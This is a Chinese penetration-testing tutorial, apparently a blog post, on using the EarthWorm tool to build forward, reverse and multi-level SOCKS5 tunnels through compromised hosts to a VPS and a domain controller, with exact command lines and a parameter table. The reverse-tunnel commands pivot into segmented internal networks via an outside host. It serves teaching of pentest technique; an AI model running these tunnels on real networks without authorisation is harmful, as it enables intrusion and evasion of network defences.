EW隧道搭建

常见的网络场景

  1. 服务器在内网中,可以任意访问外部网络
  2. 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接
  3. 服务器在内网中,对外只开放了部分端口(80端口),且服务器不能访问外部网络

例如如下为常见的内网渗透测试环境
在这里插入图片描述

简介

EarthWorm简称EW,是一套便携式的网络工具,具有SOCKS5服务架设和端口转发功能,可以在复杂的网络环境中实现网络穿透。EW能够以正向、反向、多级级联等方式建立网络隧道。EW在实战中也是隧道搭建应用最多的一种隧道工具之一。

socks代理和端口转发的区别

端口转发工具(lcx.exe)的工作原理:是将两条socket隧道对接起来,打造一条可"异步双向通讯"的转接隧道。

socks代理的工作原理:当我们访问一个网站时,浏览器会先发送一个被访问目标的基本信息(URL和服务端口)给socks服务端,socks服务端解析了这个信息后,会代替浏览器去访问目标网站,并将访问结果回复给浏览器端。

socks代理功能的核心:帮他人完成socket访问网络,当我们通过代理服务器访问一个网址时,socks服务器其实是起了一个中间人的身份,它分别与双方(B/S)通讯然后将获取到的结果告知另一方。

socks代理和端口转发的异同点

  1. socket端口转发无需通讯协议支持,而socks代理需要socks协议支持
  2. socket端口工作方式不一样
  3. socks代理一对多,端口转发一对一

一级网络环境

现在我们的测试环境是:左侧内网中的一台个人计算机和一台公网IP的VPS,右侧是一个小型内网。假如已经获得一台Web服务器的权限,由我们控制的Web服务器是连接外网和内网的关键节点,内网其他服务器之间均不能直接连接。这里顺带说下,正向代理是指主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。

正向SOCKS5服务器

正向连接适用于目标机器拥有一个外网的IP地址的情况
在这里插入图片描述
我们直接在目标机器上输入如下命令,因为我的web服务器为ubuntu

./ew_for_linux64 -s ssocked -l 1070

在这里插入图片描述
我们使用SocksCap64代理工具检测到隧道是否搭建成功
在这里插入图片描述

反弹SOCKS5服务器

这种情况适用于目标机器没有公网IP地址,我们使其可以访问内网资源

在我们的VPS上执行如下命令,该命令的意思是在公网VPS上添加一个转接隧道,把1008端口收到的代理请求转发给888端口

./ew_for_linux64 -s rcsocks -l 1008 -e 888

在这里插入图片描述

然后在我们的内网主机上执行如下命令,该命令的意思是在该web服务器上启动socks5服务,然后反弹到我们的VPS的888端口上

ew -s rssocks -d VPS的IP地址

在这里插入图片描述
隧道建立成功
在这里插入图片描述

二级网络环境(a)

现在的测试环境是主机A配有两块网卡,一块能访问外网,另一块只能访问数据库服务器,无法访问内网中的其他资源。但数据库服务器内自由访问内网资源。配置这个网络环境只需在B主机的防火墙开启服务通行,域控和数据库服务器防火墙禁止A主机访问就可以了
在这里插入图片描述

首先我们将EW上传到B主机上,利用ssocksd方式启动888端口的SOCKS代理

ew_for_Win.exe -s ssocksd -l 888

在这里插入图片描述

然后将EW上传至A主机上,命令的意思是将1080端口收到的代理请求转发给B主机的888端口

sudo ./ew_for_linux64.exe -s lcx_tran -l 1080 -f 192.168.108.104 -g 888

在这里插入图片描述
通过访问A主机的外网1080端口使用在B主机上架设的SOCKS5代理
在这里插入图片描述

二级网络环境(b)

测试环境是:假设我们已经获得主机A和主机B的权限,但是主机A既不能访问外网,也不能访问内网,主机B能访问内网,但是无法访问外网。我们只需在前一个配置上将主机A的外网网卡去除即可
在这里插入图片描述
首先我们在我们的VPS上执行如下命令,该命令是指在公网VPS中添加转接隧道,将10800端口收到的代理请求转发给888端口

./ew_for_linux64 -s lcx_listen -l 10800 -e 888

在这里插入图片描述
然后在主机B中,以正向代理的方式启动999端口

ew_for_Win.exe -s ssocksd -l 999

在这里插入图片描述
在主机A中执行如下命令,命令是指在主机A上使用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来

sudo ./ew_for_linux64 -s lcx_slave -d VPS地址 -e 888 -f 192.168.108.104 -g 999

在这里插入图片描述
访问VPS的10800端口使用架设在主机B的SOCKS5代理
在这里插入图片描述

三级网络环境

三级网络环境在渗透中比较少见,大多出现在一些金融项目中。首先我们的测试环境是:内网主机A没有公网IP地址,但可以访问外网;B主机不能访问外网,但可以被主机A访问;C主机可被B主机访问,而且能访问核心区域
在这里插入图片描述
首先我们在VPS上执行如下命令,将1080端口收到的代理请求转发给888端口

./ew_for_linux64 -s rcsocks -l 1080 -e 888

在这里插入图片描述
在主机A上执行如下命令,将公网VPS的888端口和B主机的999端口连接起来

./ew_for_linux64 -s lcx_slave -d VPS地址 -e 888 -f 192.168.108.104 -g 999

在这里插入图片描述
在域控上启动SOCKS5服务,并反弹到B主机的777端口上

ew_for_Win.exe -s rssocks -d 192.168.108.104 -e 777

在这里插入图片描述

通过访问VPS的1080端口可访问域控上架设的SOCKS5代理
在这里插入图片描述

总结

最后我们来总结一下EW的一些参数,因为EW在实战中应用得比较广泛

参数作用
-s设置代理的连接方式
-l设置本地的监听端口
-e设置要转发给哪个端口,一般作用为外网主机
-d设置要将代理请求转发给哪台主机(一般为外网的VPS)
-f设置要将代理请求转发给哪台主机(一般为内网的主机)
-g设置要转发给哪个端口,一般作用为内网主机
rcsocks在外网VPS主机上设置反向代理
rssocks在内网主机上设置反向代理
ssocks在目标机器上设置正向代理
lcx_tran设置本地端口映射,一般用在能访问内网不能访问外网的主机上,配合-l参数使用
lcx_listen设置监听的本地端口,配合-l参数使用
lcx_slave设置你要监听的远程主机,配合-d参数使用
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值